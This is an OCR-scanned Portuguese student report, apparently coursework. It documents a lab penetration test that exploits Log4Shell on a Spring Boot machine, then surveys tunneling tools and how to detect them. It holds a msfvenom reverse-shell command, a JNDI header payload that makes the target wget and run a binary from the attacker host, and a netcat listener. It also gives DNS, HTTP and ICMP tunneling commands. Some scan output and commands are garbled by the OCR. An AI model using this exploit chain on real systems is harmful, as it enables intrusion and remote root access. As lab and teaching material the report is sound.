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Introducéo

Na paisagem cada vez mais em evolucdo da ciberseguranga, compreender e mitigar
vulnerabilidades de rede tornou-se critico para organizacdes em todo o mundo. Este relatorio
explora dois aspetos interligados da seguranca de rede: a exploracdo de vulnerabilidades em
aplicacdes web e técnicas de extracdo de dados por tunneling.

A primeira parte da nossa investigacdo foca-se num cendrio pratico de teste de penetracao
envolvendo a maquina LOGCH. Este exercicio segue uma estrutura sistematica para identificar e
explorar fragilidades de seguranca em aplicagbes web. Ao simular uma avaliagdo de
ciberseguranca do mundo real, pretendemos demonstrar a abordagem metddica necessaria para

descobrir e potencialmente aproveitar vulnerabilidades em sistemas em rede.

J& segundo componente da nossa pesquisa mergulha no mundo sofisticado dos protocolos
de tunneling, examinando como atores maliciosos podem potencialmente extrair dados sensiveis
de redes sem detecdo. Ao investigar quatro ferramentas de tunneling proeminentes e 0s seus
métodos de configuracdo, fornecemos insights sobre 0s mecanismos técnicos destas técnicas e as
estratégias criticas que as organizagdes podem implementar para detetar e prevenir estas intrusoes

de rede furtivas.

Parte |

Configuracao Inicial

Para a execucdo desta tarefa é usada uma rede interna chamada TPHE, que abrange a gama
de IP’s 10.0.10.0/24, com o servidor de DHCP ativado.
PS C:\Users\ldaga> vboxmanage dhcpserver add TPHE N L

255.255.255.0 le.e.10.2 19.0.10.254



Enumeracao de Servicos

Para iniciar esta etapa temos primeiro que encontrar o IP da maquina LOGCH, para isto
executamos o comando nmap 10.0.10.0/24.

| — |

18.8.10.0/24
Starting Nmap 7.94SWN ( https://nmap.org
Mmap scan report for 10.8.1@8.2
Host is up (0.0826s5 latency).
Mot shown: 998 closed tcp ports (conn-re
PDFT STATE SERVICE

22/tcp open ssh
8@080/tcp open http-proxy

Mmap scan report for 190.8.10.3

Host is up (0.0817s latency).

All 1@80 scanned ports on 10.8.18.3 are in ignored
Mot shown: 1880 closed tcp ports (conn-refused)

Assim podemos realizar uma enumeracao mais precisa dos servicos desta maquina usando

0 comando sudo nmap 10.0.10.2 -Pn -p- -sV -A.

:-"\-

) 18. G lﬂ.¥

JtiItlﬂ? Nm«p 7 gazvm ( http' ‘nmap.org
Imap scan report for 18.8.18.
ost is up (@.0011s 1thﬂLvJ.
Mot shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
! OpenSsSH 8.2pl1 Ubuntu 4 {(Ubuntu Linux; protocol 2.8)

IEIDJAI

:9¢c (ED25519)

L Nag
doesn't h a (application/json).
:27:DB:@@: [Oracle rtualBox wirtual NIC)
evice type: general purpose
ing: Linux 4.X|5.X
cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:
details: Linux &4.15 - 5.8
; Di5tance: 1 hop
0S: Linux; CPE: cpe:/o:linux:linux_kernel




Aqui podemos ver que 0s portos 22 e 8080 se encontram abertos, sendo estes servicos SSH
e, contrariamente ao que o nmap nos informa, HTTP, respetivamente. Podemos verificar isto
acedendo a 10.0.10.2:8080 no browser.

Identificacao de vulnerabilidades

) 10.0.10.2:8080/ x +

O & 10.0.10.2:8080

Kali Linux @& Kali Tools + KaliDocs M Kali Forums e\ Kali NetHunter Exploit-DB Google Ha

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Mon Dec 16 01:30:30 GMT 2024
There was an unexpected error (type=Bad Request, status=400).

Fazendo uma pesquisa rapida no Google é possivel verificar que esta mensagem de erro é
maioritariamente atribuida ao Spring Boot, uma framework Java. Outra pesquisa revela que esta
foi afetada pelo CVE-2021-44228, relativa ao Log4J (VMware, 2021).

Log4J2 Vulnerability and Spring Boot

ENGINEERING | PHIL WEBB | DECEMBER 10, 2021 | 255 COMMENTS

Updates: Since this blog post has been published, a . While this fixes a
security issue, prerequisites for exploits are very different as they "requires write access to logback's configuration file".

Log4] also released a new 2.17.0 version with fixes for and . Spring Boot 2.5.8 and

2.6.2 haven been released and provide dependency management for logback 1.2.9 and Log4] 2.17.0. Log4] 2.17.1 contains

a fix for

Para verificar se a versdo que se encontra a executar na maquina é ainda vulneravel

podemos usar 0 modulo do Metasploit, auxiliary/scanner/http/log4shell_scanner.



Pelo resultado, é possivel verificar que a maquina é vulneravel a este ataque.

Exploracao da vulnerabilidade

Inicialmente criamos uma reverse shell que ira escutar a maquina Kali na porta 4444.
E, neste caso, usado o formato .elf ja que este é o formato binario padrio para executaveis em
Linux, garantindo assim a sua compatibilidade com a maquina. Para isto usamos o0 comando:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.10.3 LPORT=4444 -f elf -0 revsh.elf

[-] Mo platform was
[-] Mo arch s

De seguida iniciamos um servidor HTTP para servir o payload que acabou de ser criado, tendo
sido neste caso o modulo http.server do Python,

|-[~/tphe]
http.server BQ81

Serving HTTP on ©0.0.0.@ port 8081 (http://0.0.0.0:8081/)

E, posteriormente, executado o programa JNDIExploit?, criando o servidor LDAP que vamos usar

para a conexao inicial com a maquina. Neste caso temos de adicionar a flag —add-opens, visto que

! Este repositdrio foi eliminado do GitHub, tendo este sido obtido na WayBackMachine. Este vai-se encontrar no fim
do relatério.



se trata de um programa mais antigo e este necessita de aceder a campos e métodos ndo publicos

do Java.

ar JNDIExploit-1.2-SNAPSHOT.jar 10.0.10.3 ) 8080

Picked up

[+] LDA

Ap0s isto, codificados 0 comando que queremos que a maquina alvo execute em Base64.

Para isto fazemos um echo a string de comandos que queremos executar e damos pipe ( | ) para o
comando base64. Neste caso foi usado o parametro ‘-w 0’ para que este comando ndo crie
newlines. Este payload consiste no uso do wget para obter o payload que contém a reverse shell

da maquina atacante, colocando-o no diretério /tmp, no uso do chmod +x para dar permisséo de

execucao e na sua execucéo.

Para preparar a maguina atacante, usamos o nc (Netcat) para criar uma sessdo de escuta no porto
4444,

| — |

Lvnp 4444
listening on [any]

Podemos agora usar o curl para dar trigger ao payload que criamos. Para isto injetamos o
cddigo malicioso que codificamos no header do servidor remoto. Neste caso, mais explicitamente:
“10.0.10.2:8080” -> servidor remoto (Spring Boot)
- “-H ‘X-Api-Version” -> header em que vamos injetar o payload
- “${jndi:ldap://10.0.10.3:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTAUMC4
XMC4z0OjgwODEvemV2c2guZWxmIC1PIC90bXAvemV2c2guZWxmICYmIGNobW9k
ICt41C90bXAvecmV2c2guZWxmICYmIC90bXAvemV2c2guZWxmCg}” -> comando
malicioso codificado em base64. A seccdo ‘/Basic/Command/Base64’ ¢ criada pelo
JNDIExploit no porto LDAP ja antes mencionado.

- “Hello, world!” -> resposta padrao desta API

AUMCAXMC4z0j gwODEvVemV,




Na imagem abaixo podemos ver que a maquina remota realizou a conexao.

INDIEXpLoit-1.2-SNAPSHOT. Jar ~i 10.0.10.

ning on [an oK
ct to [10.0.1 from (UNKNOWN) [10.@.1@.2]
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
groups
root bin daemon sys adm disk wheel floppy dialout tape video

E, no entanto, possivel verificar que ndo estamos de facto na maquina mas sim num

container do Docker.

.dockerenwv
app

Parte 11

Protocolos de Tunneling

Um protocolo de tunneling permite a transmissdo de dados entre redes encapsulando
pacotes de rede, efetivamente criando um canal de comunicagéo segura entre redes potencialmente

desconfidveis como a Internet.



Ferramentas de Tunneling Comuns
DNSCat2 (Tunneling DNS)

Mecanismo Técnico
- Toma proveito da habilidade de transmissao de dados do protocolo DNS através de queries
e respostas.
- Encapsula dados com o trafego DNS, tipicamente ultrapassando restricdes padrBes de

firewalls.

Exemplo de Configuracao

./fdnscat2-server example.com

./dnscat2? example.com

Caracteristicas Técnicas
- Usatipos de queries DNS, como TXT, MX ou CNAME, para transmissdo de dados.
- Suporta encriptacdo e compressao.
- Largura de banda baixa, normalmente 10-50kbps.

- Dificuldade de distincao de trafego DNS legitimo.

Técnicas de Extracdo Potenciais
- Transmisséo de pequenos ficheiros.
- Estabelecimento de reverse shells.

- Criacdo de canais de comunicagdo secretos.



HTRAP (Tunneling HTTP/HTTPS)

Mecanismo Técnico

- Esconde trafego de rede como requests HTTP/HTTPS normais.

- Utiliza a flexibilidade dos protocolos HTTP/HTTPS para encapsulamento de dados.

Exemplo de Configuracao

httptunnel -F server ip:port -P client ip:port

httptunnel -C server ip:port

Caracteristicas Técnicas

Suporta transferéncia de dados bidireccionalmente.
Pode utilizar varios métodos HTTP, como GET e POST.

Largura de banda relativamente alta comparado ao tunneling DNS.

Imita padrdes de trafego web legitimo.

Técnicas de Extracdo Potenciais
- Acesso remoto
- Transferéncia de ficheiros
- Ultrapassar restricdes de rede devido a imitacdo de padr@es legitimos.

10



PingTunnel (Tunneling ICMP)

Mecanismo Técnico

Transmite dados através de pacotes de pedidos/respostas echo ICMP.

Aproveita-se da natureza tipicamente irrestrita do protocolo ICMP.

Exemplo de Configuracao

ptunnel -p server ip -1 local port -r remote ip -R remote port

ptunnel -p server_ip -1 local port -r remote_ ip -R remote port

Caracteristicas Técnicas

Probabilidade de detecdo extremamente baixa.
Largura de banda extremamente baixa. (5-20kbps)
Ultrapassa a maioria das configuracdes de firewall.
Requer permissdes de root/administrador.

Técnicas de Extracdo Potenciais

Pequenas transferéncias de dados.
Estabelecimento de canais de comunicagdo minimos.

Ultrapassagem de controlos de rede restritivos.

11



SSH (Tunneling SSH)

Mecanismo Técnico

- Criatuneis de rede encriptados usando o protocolo SSH.

- Suporta multiplos modos de encaminhamento (local, remoto, dinamico).

Exemplo de Configuracao

ssh -L local port:destination_ip:destination_port userf@ssh_server

R remote_port:local_ip:local_port userfdssh_server

-D local port user@ssh_server

Caracteristicas Técnicas
- Encriptacgéo forte (AES, RSA, ECC).
- Mudltiplos modos de tunneling.
- Largura de banda potencialmente alta.

- Protocolo de acesso remoto legitimo.

Técnicas de Extracdo Potenciais
- Criacdo de canais de comunicacdo encriptados.
- Ultrapassagem de segmentacdo de rede

- Acesso remoto ao sistema.

12



Técnicas de Mitigacéo
Técnicas de Monitorizagéo e Detecdo de Rede

Sistemas Avancados de Detecdo de Intrusoes (IDS)
- Implementar mecanismos de detecdo em multiplas camadas
o Detecdo baseada em assinaturas
o Detecdo baseada em anomalias
o Analise estatistica de trafego

- Abordagens-Chave de Detecdo
o Monitorizar a utilizagdo incomum de protocolos
o Acompanhar padrdes de consumo de largura de banda
o ldentificar canais de comunicacdo de rede inesperados

o Analisar técnicas de encapsulamento de trafego

Analise de Padrdes de Trafego
- Desenvolver modelos de comportamento de rede de base
- Utilizar algoritmos de aprendizagem automatica para:
o Detetar padrdes de comunicacdo anormais
o ldentificar potenciais tentativas de tunneling
o Reconhecer técnicas subtis de ofuscacdo de trafego

Estratégias de Firewall e Segmentacdo de Rede

Configuracdo Avancada de Firewall
- Implementar inspecédo de pacotes com estado
- Configurar regras especificas de protocolo granulares
- Restringir o acesso a protocolos desnecessarios

- Utilizar tecnologias de inspecdo profunda de pacotes (DPI)

13



Segmentacao de Rede
- Implementar arquitetura de rede de zero confianca
- Usar VLANS para isolar segmentos de rede criticos
- Criar zonas desmilitarizadas (DMZ)

- Aplicar o principio do menor privilégio

Técnicas de Mitigacao Especificas por Protocolo

Prevencdo de Tunneling DNS
- Configurar servidores DNS recursivos com filtragem rigorosa
- Implementar limitagdes de comprimento de consultas DNS
- Utilizar autenticacdo DNS (DNSSEC)
- Monitorizar:
o Consultas DNS invulgarmente longas
o Volume elevado de trafego DNS
o Consultas para dominios desconhecidos ou suspeitos

Mitigacdo de Tunneling HTTP/HTTPS
- Implementar firewalls de aplicacbes web (WAF)
- Implementar filtragem de contetdo
- Usar inspecdo SSL/TLS
- Monitorizar:
o ConfiguracGes invulgares de cabegalhos HTTP
o Tamanhos de payload inesperados

o Ligacdes a pontos finais suspeitos

14



Prevencao de Tunneling ICMP

- Desativar ou limitar rigorosamente o trafego ICMP

- Configurar firewalls para:

o Restringir tamanhos de pacotes ICMP
o Bloquear tipos ICMP né&o autorizados
o Monitorizar a frequéncia de comunicagdo ICMP

Controlo de Tunneling SSH

Implementar gestdo robusta de chaves SSH
Usar autenticacao de multiplos fatores
Restringir o acesso SSH a intervalos de IP especificos

Auditar e registar todas as ligacdes SSH

Ferramentas e Tecnologias Avancadas de Detecao

Ferramentas de Seguranca Recomendadas

Suricata (IDS/IPS de Rede)
Wireshark (Anélise de Pacotes)

Pilha ELK (Gestdo de Registos)

Zeek (Monitor de Seguranga de Rede)

Gestdo e Analise de Registos

Registo centralizado
Correlacéo de registos em tempo real
Mecanismos de alerta automatizados

Armazenamento de padrdes de trafego a longo prazo

15
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